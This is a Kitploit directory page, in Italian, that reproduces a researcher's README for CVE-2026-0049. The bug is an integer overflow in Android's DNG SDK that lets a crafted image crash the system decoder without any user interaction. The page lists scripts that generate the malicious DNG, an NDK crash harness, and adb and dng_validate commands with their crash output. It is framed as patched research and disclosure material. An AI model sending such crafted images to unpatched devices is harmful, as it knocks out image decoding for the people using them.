Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-0049 — PoC e analisi di un DoS zero-click nell'SDK DNG di Android, con campioni DNG appositamente creati, un harness di crash NDK e riproduzione dell'overflow di MapTable tramite UBSan/IntSan. | Kitploit
Strumenti/GitHubGitHub/r3n3r0/cve-2026-0049
Sicurezza AndroidGenerazione di PayloadAnalisi delle VulnerabilitàExploitAnalisi di BinariPaper e RicercaApprendimento e Formazione
GitHubr3n3r0/cve-2026-0049

CVE-2026-0049

PoC e analisi di un DoS zero-click nell'SDK DNG di Android, con campioni DNG appositamente creati, un harness di crash NDK e riproduzione dell'overflow di MapTable tramite UBSan/IntSan.

Vedi Repository
81 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-0049 — Android DNG zero-click DoS (dng_sdk MapTable add-overflow)

Materiale completo di ricerca e PoC. Analisi narrativa: 🇮🇹 BLOG.md · 🇬🇧 BLOG.en.md.

  • Bug: overflow di interi unsigned su fAreaSpec.Plane() + fAreaSpec.Planes() in dng_opcode_MapTable::ProcessArea (dng_sdk/source/dng_misc_opcodes.cpp:388).
  • Impatto: DoS zero-click. L'IntSan con cui Android compila libdng_sdk.so trasforma l'overflow in abort() → SIGABRT nel processo che decodifica il DNG.
  • Non è RCE (doppio bound sul loop → nessun OOB). Vedi §12 di BLOG.md.
  • Severità: Google (bollettino) la dichiara Critical; NVD/CISA Medium (CVSS 6.2) — due tassonomie diverse sullo stesso CVE (§13).
  • Fix: Android Security Bulletin Aprile 2026 (patch 2026-04-01, A-456471290). Due patch: correzione aritmetica nel dng_sdk (+ riscritto come -) + allowlist MIME in LocalImageResolver.java che rigetta i DNG (§14).

L'articolo dettaglia anche: il percorso completo di generazione del PoC (§6), perché è stato usato un harness NDK (§7), la differenza tra le flag UBSan/IntSan -fsanitize=undefined vs =integer, recover/no-recover/trap, full vs minimal runtime (§10), e IntSan vs SafeInt vs MTE (§11).

Struttura

root@kitploit:~
CVE-2026-0049/
├── BLOG.md                       articolo completo — italiano (17 sezioni)
├── BLOG.en.md                    full article — English (17 sections)
├── poc/
│   ├── inject_opcode.py          [PRINCIPALE] inietta OpcodeList2/MapTable in un DNG valido
│   ├── gen_base_dng.py           genera il DNG Bayer valido di base (richiede pidng)
│   ├── make_dng.py               generatore stand-alone (DNG minimale + opcode)
│   └── make_poc_dng.py           primo generatore from-scratch (LinearRaw minimale)
├── harness/
│   ├── decode_poc.c              harness NDK AImageDecoder (crash on-device)
│   └── dng_xmp_stub.cpp          stub XMP per compilare dng_validate su PC
├── samples/
│   ├── valid_poc.dng             PoC funzionante (fa crashare il decoder di sistema)
│   ├── base_benign.dng           controllo benigno (decodifica senza crash)
│   └── poc_minimal.dng           variante minimale from-scratch
└── evidence/
    ├── crash_backtrace.txt       tombstone reale dal Pixel 9
    └── device_analysis.md        analisi binaria libdng_sdk.so + IntSan/SafeInt/MTE

Riproduzione rapida

A) DNG malevolo

root@kitploit:~
pip install pidng
python3 poc/gen_base_dng.py base                     # -> base.dng (Bayer valido)
python3 poc/inject_opcode.py base.dng valid_poc.dng poc
# oppure usa direttamente samples/valid_poc.dng

Dettaglio critico: l'AreaSpec deve essere non vuota (0,0,H,W); con area vuota la dng_sdk di Android corto-circuita e la decodifica ritorna errore senza crash (vedi §6.6 di BLOG.md). Perché serve un DNG pienamente valido e non uno minimale: SkRawCodec (decoder di sistema) è più severo di Glide/Photos e rifiuta i DNG senza metadati colore completi (§2, §6.1).

B) Crash on-device (harness NDK)

root@kitploit:~
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang \
    -O0 -o decode_poc harness/decode_poc.c -ljnigraphics
adb push decode_poc valid_poc.dng /data/local/tmp/     # NB: /data/local/tmp, NON /sdcard (FUSE)
adb shell /data/local/tmp/decode_poc /data/local/tmp/valid_poc.dng
# -> Abort message: 'ubsan: add-overflow' ; SIGABRT in dng_opcode_MapTable::ProcessArea

C) Riproduzione su PC (senza telefono) con dng_validate + UBSan

Compila i sorgenti dng_sdk applicando -fsanitize=integer -fno-sanitize-recover solo a dng_misc_opcodes.cpp (usa harness/dng_xmp_stub.cpp per linkare senza l'XMP SDK). Poi:

root@kitploit:~
./dng_validate samples/valid_poc.dng
# dng_misc_opcodes.cpp:388:32: runtime error: unsigned integer overflow: 4294967040 + 512

Solo per ricerca/didattica. Testato esclusivamente su hardware di proprietà.

Scarica lo strumento